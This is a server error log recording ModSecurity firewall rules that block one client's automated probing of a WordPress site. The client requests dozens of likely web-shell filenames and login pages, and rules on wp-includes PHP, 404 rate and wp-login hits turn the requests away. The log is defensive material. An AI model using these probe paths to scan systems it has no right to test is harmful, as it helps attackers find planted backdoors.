[Sat Nov 22 05:54:28.351449 2025] [:error] [pid 53478:tid 53529] [client 172.161.73.78:56836] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/core-plugin/file-manager.php"] [unique_id "aSDflAhUYdXBbQswAdQVTQAAAFQ"]
[Sat Nov 22 05:54:32.452494 2025] [:error] [pid 53479:tid 53557] [client 172.161.73.78:44852] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/core-plugin/file-manager.php"] [unique_id "aSDfmG6cicFF3Aas-oR69AAAAJU"]
[Sat Nov 22 05:54:33.387321 2025] [:error] [pid 53478:tid 53510] [client 172.161.73.78:65061] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/core-plugin/file-manager.php"] [unique_id "aSDfmQhUYdXBbQswAdQVVAAAAEE"]
[Sat Nov 22 05:54:34.209700 2025] [:error] [pid 53479:tid 53554] [client 172.161.73.78:65045] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/core-plugin/file-manager.php"] [unique_id "aSDfmm6cicFF3Aas-oR69wAAAJI"]
[Sat Nov 22 05:54:35.573813 2025] [:error] [pid 53479:tid 53547] [client 172.161.73.78:65043] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/uploads/423_index.php"] [unique_id "aSDfm26cicFF3Aas-oR6-gAAAIs"]
[Sat Nov 22 05:54:53.445304 2025] [:error] [pid 53477:tid 53494] [client 172.161.73.78:56885] [client 172.161.73.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/theme-compat/index.php"] [unique_id "aSDfrX7Lu30Ku9O40aLghgAAAA0"]
[Sat Nov 22 05:54:59.692141 2025] [:error] [pid 53478:tid 53522] [client 172.161.73.78:42061] [client 172.161.73.78] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 172.161.73.78, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-content/wp-login.php"] [unique_id "aSDfswhUYdXBbQswAdQVfgAAAE0"]
[Sat Nov 22 05:55:00.218094 2025] [proxy_fcgi:error] [pid 53478:tid 53529] [client 172.161.73.78:42061] AH01071: Got error 'Primary script unknown'
[Sat Nov 22 05:55:00.650255 2025] [:error] [pid 53478:tid 53512] [client 172.161.73.78:42061] [client 172.161.73.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/images/smilies/index.php"] [unique_id "aSDftAhUYdXBbQswAdQVggAAAEM"]
[Sat Nov 22 05:55:23.511926 2025] [:error] [pid 53478:tid 53524] [client 172.161.73.78:35800] [client 172.161.73.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/html-api/about.php"] [unique_id "aSDfywhUYdXBbQswAdQVsgAAAE8"]
[Sat Nov 22 05:55:24.834178 2025] [:error] [pid 53478:tid 53531] [client 172.161.73.78:35815] [client 172.161.73.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/images/smilies/about.php"] [unique_id "aSDfzAhUYdXBbQswAdQVtwAAAFY"]
[Sat Nov 22 05:55:28.428430 2025] [:error] [pid 53566:tid 53576] [client 172.161.73.78:44753] [client 172.161.73.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Text/Diff/alfa-rex.php"] [unique_id "aSDf0MbSHDBkRbwMbd4-VQAAAMg"]
[Sat Nov 22 05:55:30.506136 2025] [:error] [pid 53478:tid 53529] [client 172.161.73.78:35824] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mah.php"] [unique_id "aSDf0ghUYdXBbQswAdQVwQAAAFQ"]
[Sat Nov 22 05:55:31.931378 2025] [:error] [pid 53566:tid 53591] [client 172.161.73.78:10440] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mah.php"] [unique_id "aSDf08bSHDBkRbwMbd4-WgAAANc"]
[Sat Nov 22 05:55:34.588627 2025] [:error] [pid 25856:tid 25858] [client 172.161.73.78:10437] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mah.php"] [unique_id "aSDf1hsTP0wy94zKUvG0QwAAAQA"]
[Sat Nov 22 05:55:36.733815 2025] [:error] [pid 53479:tid 53537] [client 172.161.73.78:35810] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mah.php"] [unique_id "aSDf2G6cicFF3Aas-oR7VAAAAIE"]
[Sat Nov 22 05:55:39.364815 2025] [:error] [pid 25856:tid 25871] [client 172.161.73.78:61123] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/json.php"] [unique_id "aSDf2xsTP0wy94zKUvG0TAAAAQ0"]
[Sat Nov 22 05:55:43.101495 2025] [:error] [pid 53566:tid 53572] [client 172.161.73.78:44736] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/json.php"] [unique_id "aSDf38bSHDBkRbwMbd4-bAAAAMQ"]
[Sat Nov 22 05:55:46.187795 2025] [:error] [pid 25856:tid 25859] [client 172.161.73.78:34701] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/json.php"] [unique_id "aSDf4hsTP0wy94zKUvG0bQAAAQE"]
[Sat Nov 22 05:55:47.962416 2025] [:error] [pid 53478:tid 53521] [client 172.161.73.78:43507] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/json.php"] [unique_id "aSDf4whUYdXBbQswAdQV7AAAAEw"]
[Sat Nov 22 05:56:09.339414 2025] [:error] [pid 53478:tid 53519] [client 172.161.73.78:61125] [client 172.161.73.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Requests/file.php"] [unique_id "aSDf-QhUYdXBbQswAdQWDQAAAEo"]
[Sat Nov 22 05:56:12.874229 2025] [:error] [pid 25856:tid 25875] [client 172.161.73.78:64970] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/seotheme/classwithtostring.php"] [unique_id "aSDf_BsTP0wy94zKUvG0uAAAARE"]
[Sat Nov 22 05:56:15.540798 2025] [:error] [pid 53477:tid 53495] [client 172.161.73.78:43493] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/seotheme/classwithtostring.php"] [unique_id "aSDf_37Lu30Ku9O40aLhcgAAAA4"]
[Sat Nov 22 05:56:17.116744 2025] [:error] [pid 25856:tid 25858] [client 172.161.73.78:10470] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/seotheme/classwithtostring.php"] [unique_id "aSDgARsTP0wy94zKUvG0vQAAAQA"]
[Sat Nov 22 05:56:18.279432 2025] [:error] [pid 53566:tid 53572] [client 172.161.73.78:65010] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/seotheme/classwithtostring.php"] [unique_id "aSDgAsbSHDBkRbwMbd4-vQAAAMQ"]
[Sat Nov 22 05:56:19.724727 2025] [:error] [pid 25856:tid 25882] [client 172.161.73.78:34693] [client 172.161.73.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/widgets/parx.php"] [unique_id "aSDgAxsTP0wy94zKUvG0wwAAARg"]
[Sat Nov 22 05:56:20.964833 2025] [:error] [pid 25856:tid 25872] [client 172.161.73.78:42151] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/Cache/footer.php"] [unique_id "aSDgBBsTP0wy94zKUvG0zQAAAQ4"]
[Sat Nov 22 05:56:21.859840 2025] [:error] [pid 53479:tid 53548] [client 172.161.73.78:43487] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/Cache/footer.php"] [unique_id "aSDgBW6cicFF3Aas-oR7mAAAAIw"]
[Sat Nov 22 05:56:24.661159 2025] [:error] [pid 53566:tid 53584] [client 172.161.73.78:43490] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/Cache/footer.php"] [unique_id "aSDgCMbSHDBkRbwMbd4-yQAAANA"]
[Sat Nov 22 05:56:36.383186 2025] [proxy_fcgi:error] [pid 53477:tid 53505] [client 172.161.73.78:43476] AH01071: Got error 'Primary script unknown'
[Sat Nov 22 05:56:36.619845 2025] [:error] [pid 53477:tid 53482] [client 172.161.73.78:43476] [client 172.161.73.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/wp-conflg.php"] [unique_id "aSDgFH7Lu30Ku9O40aLhowAAAAE"]
[Sat Nov 22 05:56:38.536045 2025] [:error] [pid 53478:tid 53530] [client 172.161.73.78:64973] [client 172.161.73.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/html-api/chosen.php"] [unique_id "aSDgFghUYdXBbQswAdQWdwAAAFU"]
[Sat Nov 22 05:56:42.286417 2025] [proxy_fcgi:error] [pid 25856:tid 25878] [client 172.161.73.78:43483] AH01071: Got error 'Primary script unknown'
[Sat Nov 22 05:56:42.539223 2025] [:error] [pid 25856:tid 25859] [client 172.161.73.78:43483] [client 172.161.73.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/images/smilies/wp-login.php"] [unique_id "aSDgGhsTP0wy94zKUvG1LQAAAQE"]
[Sat Nov 22 05:56:47.246252 2025] [proxy_fcgi:error] [pid 25856:tid 25869] [client 172.161.73.78:34697] AH01071: Got error 'Primary script unknown'
[Sat Nov 22 05:56:47.494029 2025] [:error] [pid 25856:tid 25875] [client 172.161.73.78:34697] [client 172.161.73.78] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 172.161.73.78, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-login.php"] [unique_id "aSDgHxsTP0wy94zKUvG1OwAAARE"]
[Sat Nov 22 05:56:47.498241 2025] [proxy_fcgi:error] [pid 25856:tid 25875] [client 172.161.73.78:34697] AH01071: Got error 'Primary script unknown'
[Sat Nov 22 05:56:47.897649 2025] [proxy_fcgi:error] [pid 25856:tid 25872] [client 172.161.73.78:34697] AH01071: Got error 'Primary script unknown'
[Sat Nov 22 05:56:48.626200 2025] [:error] [pid 25856:tid 25863] [client 172.161.73.78:34697] [client 172.161.73.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Text/Diff/Renderer/about.php"] [unique_id "aSDgIBsTP0wy94zKUvG1QQAAAQU"]
[Sat Nov 22 05:56:50.152635 2025] [proxy_fcgi:error] [pid 53478:tid 53512] [client 172.161.73.78:35827] AH01071: Got error 'Primary script unknown'
[Sat Nov 22 05:56:50.390358 2025] [:error] [pid 53478:tid 53510] [client 172.161.73.78:35827] [client 172.161.73.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/sodium_compat/index.php"] [unique_id "aSDgIghUYdXBbQswAdQWmwAAAEE"]
[Sat Nov 22 05:56:53.555699 2025] [:error] [pid 25856:tid 25866] [client 172.161.73.78:34707] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/cache-compat.php"] [unique_id "aSDgJRsTP0wy94zKUvG1SQAAAQg"]
[Sat Nov 22 05:56:56.894447 2025] [:error] [pid 53477:tid 53494] [client 172.161.73.78:42139] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/cache-compat.php"] [unique_id "aSDgKH7Lu30Ku9O40aLh2wAAAA0"]
[Sat Nov 22 05:57:00.592960 2025] [:error] [pid 25856:tid 25875] [client 172.161.73.78:42173] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/cache-compat.php"] [unique_id "aSDgLBsTP0wy94zKUvG1aAAAARE"]
[Sat Nov 22 05:57:09.412204 2025] [:error] [pid 53477:tid 53485] [client 172.161.73.78:42157] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-mail.php/wp-includes/ID3/rnEPv9.php"] [unique_id "aSDgNX7Lu30Ku9O40aLh9gAAAAQ"]
[Sat Nov 22 05:57:15.966958 2025] [:error] [pid 53566:tid 53573] [client 172.161.73.78:10458] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-mail.php/wp-includes/ID3/rnEPv9.php"] [unique_id "aSDgO8bSHDBkRbwMbd4_RAAAAMU"]
[Sat Nov 22 05:57:18.045717 2025] [:error] [pid 53479:tid 53538] [client 172.161.73.78:42172] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-mail.php/wp-includes/ID3/rnEPv9.php"] [unique_id "aSDgPm6cicFF3Aas-oR8JAAAAII"]
[Sat Nov 22 05:57:20.229593 2025] [:error] [pid 25856:tid 25879] [client 172.161.73.78:64993] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-mail.php/wp-includes/ID3/rnEPv9.php"] [unique_id "aSDgQBsTP0wy94zKUvG1nAAAARU"]
[Sat Nov 22 05:57:21.512452 2025] [:error] [pid 25856:tid 25862] [client 172.161.73.78:64976] [client 172.161.73.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/php-compat/content.php"] [unique_id "aSDgQRsTP0wy94zKUvG1nwAAAQQ"]
[Sat Nov 22 05:57:22.569874 2025] [:error] [pid 25856:tid 25878] [client 172.161.73.78:64962] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin/function.php"] [unique_id "aSDgQhsTP0wy94zKUvG1owAAARQ"]
[Sat Nov 22 05:57:24.273269 2025] [:error] [pid 53478:tid 53532] [client 172.161.73.78:42124] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin/function.php"] [unique_id "aSDgRAhUYdXBbQswAdQW2AAAAFc"]
[Sat Nov 22 05:57:25.573373 2025] [:error] [pid 53479:tid 53558] [client 172.161.73.78:42144] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin/function.php"] [unique_id "aSDgRW6cicFF3Aas-oR8NQAAAJY"]
[Sat Nov 22 05:57:29.636475 2025] [:error] [pid 53477:tid 53499] [client 172.161.73.78:43456] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin/function.php"] [unique_id "aSDgSX7Lu30Ku9O40aLiPgAAABI"]
[Sat Nov 22 05:57:34.974484 2025] [:error] [pid 53479:tid 53553] [client 172.161.73.78:60037] [client 172.161.73.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/fonts/admin.php"] [unique_id "aSDgTm6cicFF3Aas-oR8VgAAAJE"]
[Sat Nov 22 05:57:37.829586 2025] [:error] [pid 53477:tid 53500] [client 172.161.73.78:43472] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/doc.php"] [unique_id "aSDgUX7Lu30Ku9O40aLiUQAAABM"]
[Sat Nov 22 05:57:38.935234 2025] [:error] [pid 53477:tid 53497] [client 172.161.73.78:10422] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/doc.php"] [unique_id "aSDgUn7Lu30Ku9O40aLiUwAAABA"]
[Sat Nov 22 05:57:40.196062 2025] [:error] [pid 53477:tid 53488] [client 172.161.73.78:10368] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/doc.php"] [unique_id "aSDgVH7Lu30Ku9O40aLiWAAAAAc"]
[Sat Nov 22 05:57:41.401308 2025] [:error] [pid 53478:tid 53512] [client 172.161.73.78:37380] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/doc.php"] [unique_id "aSDgVQhUYdXBbQswAdQXDQAAAEM"]
[Sat Nov 22 05:57:42.434529 2025] [:error] [pid 53566:tid 53583] [client 172.161.73.78:10380] [client 172.161.73.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/block-patterns/autoload_classmap.php"] [unique_id "aSDgVsbSHDBkRbwMbd4_igAAAM8"]
